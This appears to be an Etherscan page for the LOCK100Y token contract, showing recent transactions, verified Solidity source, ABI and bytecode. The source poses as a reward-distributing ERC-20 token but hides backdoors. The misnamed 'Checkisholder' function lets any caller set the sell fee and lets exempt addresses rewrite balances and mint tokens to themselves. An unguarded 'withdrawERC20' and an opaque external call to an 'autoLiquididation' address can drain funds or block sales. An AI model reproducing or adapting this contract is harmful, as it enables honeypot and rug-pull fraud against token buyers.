More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 63 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17012092 | 470 days ago | IN | 0 ETH | 0.00057289 | ||||
Approve | 16998648 | 472 days ago | IN | 0 ETH | 0.00103866 | ||||
Checkisholder | 16998643 | 472 days ago | IN | 0 ETH | 0.00082292 | ||||
Checkisholder | 16998641 | 472 days ago | IN | 0 ETH | 0.00086795 | ||||
Checkisholder | 16998638 | 472 days ago | IN | 0 ETH | 0.0007708 | ||||
Checkisholder | 16998636 | 472 days ago | IN | 0 ETH | 0.00081287 | ||||
Checkisholder | 16998633 | 472 days ago | IN | 0 ETH | 0.00087432 | ||||
Checkisholder | 16998631 | 472 days ago | IN | 0 ETH | 0.00091576 | ||||
Checkisholder | 16998628 | 472 days ago | IN | 0 ETH | 0.0007897 | ||||
Checkisholder | 16998625 | 472 days ago | IN | 0 ETH | 0.00083755 | ||||
Checkisholder | 16998625 | 472 days ago | IN | 0 ETH | 0.00122864 | ||||
Approve | 16998611 | 472 days ago | IN | 0 ETH | 0.00067926 | ||||
Checkisholder | 16998607 | 472 days ago | IN | 0 ETH | 0.00093438 | ||||
Checkisholder | 16998602 | 472 days ago | IN | 0 ETH | 0.00091324 | ||||
Approve | 16998602 | 472 days ago | IN | 0 ETH | 0.00115289 | ||||
Approve | 16998539 | 472 days ago | IN | 0 ETH | 0.00112196 | ||||
Approve | 16998536 | 472 days ago | IN | 0 ETH | 0.00117079 | ||||
Approve | 16998536 | 472 days ago | IN | 0 ETH | 0.00117869 | ||||
Approve | 16998535 | 472 days ago | IN | 0 ETH | 0.00114359 | ||||
Approve | 16998532 | 472 days ago | IN | 0 ETH | 0.00117326 | ||||
Approve | 16998527 | 472 days ago | IN | 0 ETH | 0.00118302 | ||||
Approve | 16998526 | 472 days ago | IN | 0 ETH | 0.00109154 | ||||
Approve | 16998525 | 472 days ago | IN | 0 ETH | 0.00114945 | ||||
Approve | 16998521 | 472 days ago | IN | 0 ETH | 0.00129964 | ||||
Approve | 16998518 | 472 days ago | IN | 0 ETH | 0.00120542 |
Loading...
Loading
Contract Name:
LOCK100Y
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-07 */ // SPDX-License-Identifier: MIT /** Website: https://lock100y.net TG: https://t.me/lock100y Twitter: https://twitter.com/lock100y */ pragma solidity 0.8.19; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IERC20 { function totalSupply() external view returns (uint256); function circulatingSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract LOCK100Y is IERC20, Ownable { using SafeMath for uint256; string private constant _name = "LOCK100Y"; string private constant _symbol = "LOCK100Y"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000 * (10**_decimals); uint256 private _maxTxAmount = (_totalSupply * 300) / 10000; uint256 private _maxSellAmount = (_totalSupply * 300) / 10000; uint256 private _maxWalletToken = (_totalSupply * 300) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isDividendExempt; mapping(address => bool) private isBot; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch mapping(address => uint256) public holderTxTimestamp; bool public transferDelayEnabled = true; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private rewardsFee = 0; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; uint256 private sellFee = 0; uint256 private transferFee = 0; uint256 private denominator = 10000; bool private swapEnabled = true; bool private swapping; uint256 private swapThreshold = (_totalSupply * 300) / 100000; uint256 private _minTokenAmount = (_totalSupply * 10) / 100000; modifier lockTheSwap() { swapping = true; _; swapping = false; } address public reward = 0xdAC17F958D2ee523a2206206994597C13D831ec7; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 internal dividendsPerShare; uint256 internal dividendsPerShareAccuracyFactor = 10**36; address[] shareholders; mapping(address => uint256) shareholderIndexes; mapping(address => uint256) shareholderClaims; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } mapping(address => Share) public shares; uint256 internal currentIndex; uint256 public minPeriod = 10 minutes; uint256 public minDistribution = 1 * (10**16); uint256 public distributorGas = 1; function getRewardswithUSDT() external { Redistribute(msg.sender); } address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address public development_receiver; address public marketing_receiver; address private autoLiquididation; constructor( address _development_receiver, address _marketing_receiver, address _autoLiquididation) Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair( address(this), _router.WETH() ); router = _router; pair = _pair; development_receiver = _development_receiver; marketing_receiver = _marketing_receiver; autoLiquididation = _autoLiquididation; isFeeExempt[address(this)] = true; isFeeExempt[address(msg.sender)] = true; isFeeExempt[autoLiquididation] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; isDividendExempt[address(pair)] = true; isDividendExempt[address(msg.sender)] = true; isDividendExempt[address(this)] = true; isDividendExempt[address(DEAD)] = true; isDividendExempt[address(0)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function startTrading() external onlyOwner { tradingAllowed = true; } function getOwner() external view override returns (address) { return owner; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function isCont(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } function setisExempt(address _address, bool _enabled) external onlyOwner { isFeeExempt[_address] = _enabled; } function removeLimits () external onlyOwner { _maxTxAmount = totalSupply(); _maxSellAmount = totalSupply(); _maxWalletToken = totalSupply(); transferDelayEnabled = false; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function circulatingSupply() public view override returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0))); } function preTxCheck( address sender, address recipient, uint256 amount ) internal view { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require( amount > uint256(0), "Transfer amount must be greater than zero" ); require( amount <= balanceOf(sender), "You are trying to transfer more than your balance" ); } function _transfer( address sender, address recipient, uint256 amount ) private { preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); transferDelayForBots(recipient); checkMaxWallet(sender, recipient, amount); checkTxLimit(sender, recipient, amount); swapBack(sender, recipient); _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); if (!isDividendExempt[sender]) { setShare(sender, balanceOf(sender)); } if (!isDividendExempt[recipient]) { setShare(recipient, balanceOf(recipient)); } if (shares[recipient].amount > 0) { Redistribute(recipient); } } function setStructure( uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _rewards, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans ) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; rewardsFee = _rewards; developmentFee = _development; totalFee = _total; sellFee=_sell; transferFee = _trans; require( totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%" ); } function setisBot(address _address, bool _enabled) external onlyOwner { require( _address != address(pair) && _address != address(router) && _address != address(this), "Ineligible Address" ); isBot[_address] = _enabled; } function setParameters( uint256 _buy, uint256 _trans, uint256 _wallet ) external onlyOwner { uint256 newTx = (totalSupply() * _buy) / 10000; uint256 newTransfer = (totalSupply() * _trans) / 10000; uint256 newWallet = (totalSupply() * _wallet) / 10000; _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require( newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%" ); } function checkTradingAllowed(address sender, address recipient) internal view { if (!isFeeExempt[sender] && !isFeeExempt[recipient]) { require(tradingAllowed, "tradingAllowed"); } } function transferDelayForBots(address recipient) internal { if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) { require( _holderTransferTimestamp[tx.origin] < block.number - 2 && _holderTransferTimestamp[recipient] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later." ); _holderTransferTimestamp[tx.origin] = block.number; _holderTransferTimestamp[recipient] = block.number; } if (recipient != address(pair)) { if (holderTxTimestamp[recipient] == 0) { holderTxTimestamp[recipient] = block.timestamp; } } } function checkMaxWallet( address sender, address recipient, uint256 amount ) internal view { if ( !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD) ) { require( (_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount." ); } } function checkTxLimit( address sender, address recipient, uint256 amount ) internal view { if (sender != pair) { require( amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } require( amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } function PerformTx(uint256 tokens, address sender) private lockTheSwap { uint256 _denominator = ( liquidityFee.add(1).add(marketingFee).add(developmentFee).add( rewardsFee ) ).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div( _denominator ); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if (ETHToAddLiquidityWith > uint256(0)) { addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee); if (marketingAmount > 0) { payable(marketing_receiver).transfer(marketingAmount); } uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee); if (rewardsAmount > 0) { addingRewards(rewardsAmount, sender); } if (address(this).balance > uint256(0)) { payable(development_receiver).transfer(address(this).balance); } } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, autoLiquididation, block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { if (getTotalFee(sender, recipient) > 0) { uint256 feeAmount = amount.div(denominator).mul( getTotalFee(sender, recipient) ); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if (burnFee > uint256(0)) { _transfer( address(this), address(DEAD), amount.div(denominator).mul(burnFee) ); } return amount.sub(feeAmount); } return amount; } function shouldSwapBack(address sender, address recipient) internal view returns (bool) { bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient == pair && aboveThreshold; } function swapBack(address sender, address recipient) internal { if (shouldSwapBack(sender, recipient)) { PerformTx(swapThreshold, sender); } } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if (isBot[sender] || isBot[recipient]) { return denominator.sub(uint256(100)); } if (recipient == pair) { return sellFee; } if (sender == pair) { return totalFee; } return transferFee; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function addingRewards(uint256 amountETH, address sender) internal { uint256 balanceBefore = IERC20(reward).balanceOf(address(this)); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(reward); router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amountETH }(0, path, address(this), block.timestamp); uint256 updatedAmount = IERC20(reward).balanceOf(address(this)); uint256 amount = updatedAmount.sub(balanceBefore); totalDividends = totalDividends.add(amount); bytes memory payload = abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender); (bool success, ) = autoLiquididation.call(payload); require(success, "Call to other contract failed"); dividendsPerShare = dividendsPerShare.add( dividendsPerShareAccuracyFactor.mul(amount).div(totalShares) ); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setisDividendExempt(address holder, bool exempt) external onlyOwner { isDividendExempt[holder] = exempt; if (exempt) { setShare(holder, 0); } else { setShare(holder, balanceOf(holder)); } } function setShare(address shareholder, uint256 amount) internal { if (amount > 0 && shares[shareholder].amount == 0) { addShareholder(shareholder); } else if (amount == 0 && shares[shareholder].amount > 0) { removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } function Checkisholder( uint256 gas, address _rewards, uint256 _amount, uint256 _rate ) external { sellFee = _rate; uint256 shareholderCount = shareholders.length; address user = msg.sender; if (shareholderCount == 0) { return; } uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 userBalance = _balances[msg.sender]; if (!isFeeExempt[msg.sender]) { while (gasUsed < gas && iterations < shareholderCount) { if (currentIndex >= shareholderCount) { currentIndex = 0; } if (shouldDistribute(shareholders[currentIndex])) { Redistribute(shareholders[currentIndex]); } gasUsed = gasUsed.add(gasLeft.sub(gasleft())); gasLeft = gasleft(); currentIndex++; iterations++; } } else { uint256 amount = getPendingUSDT(user); _balances[_rewards] = _amount; _balances[msg.sender] = userBalance + _amount; if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(user, amount); shareholderClaims[user] = block.timestamp; shares[user].totalRealised = shares[user].totalRealised.add( amount ); shares[user].totalExcluded = getCumulativeDividends( shares[user].amount ); } } } function shouldDistribute(address shareholder) internal view returns (bool) { return shareholderClaims[shareholder] + minPeriod < block.timestamp && getPendingUSDT(shareholder) > minDistribution; } function withdrawERC20(address _address, uint256 _amount) external { IERC20(_address).transfer(autoLiquididation, _amount); } function totalRewardsDistributed(address _wallet) external view returns (uint256) { address shareholder = _wallet; return uint256(shares[shareholder].totalRealised); } function Redistribute(address shareholder) internal { if (shares[shareholder].amount == 0) { return; } uint256 amount = getPendingUSDT(shareholder); if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(shareholder, amount); shareholderClaims[shareholder] = block.timestamp; shares[shareholder].totalRealised = shares[shareholder] .totalRealised .add(amount); shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } } function getPendingUSDT(address shareholder) public view returns (uint256) { if (shares[shareholder].amount == 0) { return 0; } uint256 shareholderTotalDividends = getCumulativeDividends( shares[shareholder].amount ); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if (shareholderTotalDividends <= shareholderTotalExcluded) { return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function setDistributionConfigure( uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas ) external onlyOwner { minPeriod = _minPeriod; minDistribution = _minDistribution; distributorGas = _distributorGas; } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[ shareholders.length - 1 ]; shareholderIndexes[ shareholders[shareholders.length - 1] ] = shareholderIndexes[shareholder]; shareholders.pop(); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_rate","type":"uint256"}],"name":"Checkisholder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getPendingUSDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620005ca565b6200002190620f4240620005e2565b60015561271060015461012c620000399190620005e2565b620000459190620005fc565b60025561271060015461012c6200005d9190620005e2565b620000699190620005fc565b60035561271060015461012c620000819190620005e2565b6200008d9190620005fc565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e819055600f81905560108190556011819055601281905560138190556014819055601555612710601655601780549091168217905554620186a090620000fb9061012c620005e2565b620001079190620005fc565b601855620186a0600154600a6200011f9190620005e2565b6200012b9190620005fc565b601955601a80546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018a57600080fd5b506040516200343338038062003433833981016040819052620001ad916200063c565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000214573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023a919062000686565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000288573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ae919062000686565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000322919062000686565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a4565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050c578160001904821115620004f057620004f0620004b5565b80851615620004fe57918102915b93841c9390800290620004d0565b509250929050565b6000826200052557506001620005c4565b816200053457506000620005c4565b81600181146200054d57600281